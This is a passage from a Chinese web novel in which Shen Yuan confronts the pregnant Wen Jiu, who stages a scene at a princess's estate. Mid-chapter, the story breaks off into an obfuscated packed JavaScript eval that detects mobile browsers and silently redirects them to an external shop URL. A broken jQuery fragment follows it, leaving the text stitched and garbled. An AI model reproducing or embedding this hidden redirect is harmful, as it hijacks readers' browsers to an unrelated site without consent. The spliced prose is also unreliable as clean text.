温酒是个什么人沈缘不了解。
但她能做出来明知男人有妻室,还能在无媒情况下做了外室,怀上身孕,以此奢望母凭子贵,就不见得是什么好人。
上次在街上,她的虚伪做作,如今想起来依然尤在眼前!上上次在谢家门口仗着孕肚逼婚,若非苏玉绾提前截胡了侧妃的信件,温酒和程氏之间多少缺了点运气,也许真的要给自己带来麻烦……
今日这女子,不知又要做什么!
沈缘心下一沉。
今天这样的日子,全是来庆贺的夫人小姐,若在这里闹起来,损伤的是苏玉绾的脸面,南宁王至今没有去封地的原因,正是因为老娘娘给陛下求的开恩。
南宁王是老娘娘的义子,当年也是老娘娘出生入死的左膀右臂,陛下本来就疑心南宁王和老娘娘之间有什么,一旦今日的事情闹大了,南宁王只怕就要被人找理由遣返封地。
二皇子府的人上门去见程氏这事,莫名其妙又在她脑子里面回旋了一番。
谢之衍看似对于储君人选不站队,可真的没有站队吗?
沈缘这样想着,就跟赵朦颐联袂而至门外,刚打算进去帮苏玉绾的时候,却被从里面出来的一个丫鬟给挡住了去路。
“沈夫人,郡主不让您进去。”
丫鬟压低了声音跟她说。
“什么?为……”
沈缘才听了这话就皱紧了眉头。
这件事情明显是自己连累到了苏玉绾,倘若任由那个女人在这里闹起来,只会是绾妹吃亏,毕竟那女子身怀六甲!
“郡主知道您的意思,但今日您若过去了,这才是真正的坐实了郡主在为您欺负一个孕妇……”丫鬟言词恳切。
赵朦颐品出来了些味道。
转过头来拉了一把沈缘的衣袖:“现在里面是什么情况咱们也不知晓,那女子既然是倒在了郡主府中,指定是有些说法的。”
“你的身份到底是比较敏感,现在这样的状况下,你不出去有的是人给你作证,可一旦你和那女子接触了,万一她怀的那孩子出了问题,黄泥掉裤裆,不是屎也是屎。”
赵朦颐这话,话糙理不糙。
“我先帮你进去瞧一眼,反正他们也不知晓如今你我之间有交情,这两年朝廷颁布的有关保护孕妇的律法,你也知道为什么没有哪个人敢随意触及。”
沈缘点点头,心里却开始窝囊了。
她自然知道颁布那律法最开始是因为什么缘故,当今丞相宠妾灭妻,他觉得自己的妻子太过于善妒,也知道自己没有办法时时刻刻陪在小妾身边,为她保驾护航。
正巧皇帝当年跟着老娘娘打天下的哪批人,如今有不少如沈缘这般成了后宅妇人。
颁布这个狗屁律令,他们哪里想的是真的要去保护孕妇,是想寻着错处,将她们些当年在战场上立过功的女子,分开绞杀!
朝堂上的某些男人是多么怕当年在战场上厮杀的那批女子,再拿起兵器。
原本女子们联合起来,倒也不会有现在这样的境地,偏偏有一部分人,自愿成为人家的利刃,以为如此就能换取上位者垂怜。
可怜又可耻的叛徒。
温酒眼下便是这样的情况吧。
沈缘答应了赵朦颐说的话,默默退居到一边,听着屋子内的搅闹声音。
“跟你家郡主说,如此我便先回去了。”
“若是还有什么不好解决的事情,尽管送信去羽南巷子,自有人帮你们。”
沈缘心里无端升起来一份紧迫感。
她忽然之间就觉得,或许她已经没有时间等老娘娘的回信了,她现在就需要去见一见那位帮着自己儿子打了天下,最终又凄凉落幕的传奇女子,现在究竟是怎么想的!
“啊!”
“撞柱了,有人撞柱了。”
她的这话才刚落下,屋子内就传来了一阵嘈杂的惊呼,沈缘到底没有忍住。
她拨开人群,走进了屋子里,先看了一眼坐在上位的只是被气得脸色有些发红苏玉绾并没有受伤,然后又用目光扫视周围。
最终定格在,意图想要撞柱的温酒身上。
“温姑娘,你到底在闹什么?”
沈缘的出现,让现场完全陷入了死寂。
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17692271|207932||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
刚刚还哭闹不休的温酒,此刻也陷入了诡异的沉默,就连她脸上的泪痕都停滞住了。
眼底却蹦出来巨大的光芒。
这不还是出现了吗?
“沈夫人,你竟然也在这里!”
“我就知道,我就知道郡主殿下不会平白无故地刁难我,上次在谢家门口的时候,不就是郡主殿下的出现,强行哄骗我离开的吗?”
“早知道今日这生意是跟二位贵人做,我是无论如何也不敢来的,这样好的园子,富丽堂皇,没想到里面却是包藏祸心,狼狈为奸。”温酒哭哭啼啼的跪倒在地上。
她的样子看上去极其狼狈,向来顺滑的发丝,此刻也因为哭得太凶而黏连在一起贴在脸上,高高隆起的腹部更给她添了几分可怜。
沈缘冷笑的看着温酒撒泼:“那你倒是说说,我们是如何欺负你了?”
在场原本都已经同情上温酒的夫人,此刻因为沈缘的这一句话,瞬间都愣了。
是啊,从最开始就是这位姑娘在这儿平地摔了一下,甚至都没有摔在地上,而是被郡主殿下身边的那个丫鬟扶了一把。
这位温姑娘连根头发丝儿都没有受伤,反倒是郡主身边的那个小丫鬟崴了脚。
温酒口口声声说这里的所有人都在欺负她,非要闹着让郡主给她一个说法,可是,从始至终到底是谁在欺负她了?
“你们……以势压人,自然同仇敌忾!”
温酒可怜兮兮的样子像个被欺负惨了的流浪狗,若是在场的其他人没有看见前情,或许还真要被她眼前的样子给唬住了。
呵,翻来覆去也不过就这两句话。
沈缘一点点靠近到了跪坐在地上的温酒跟前,吓得原本就柔弱的女子,想后退。
“你,你别过来。”
“我怀的好歹也是谢将军的孩子,日后我进府之后,这个孩子也要叫你一声母亲的。”
温酒尖叫着要逃跑。
“你大可以继续尖叫下去。”
“温姑娘~”
沈缘直接伸手拽住了她的小腿。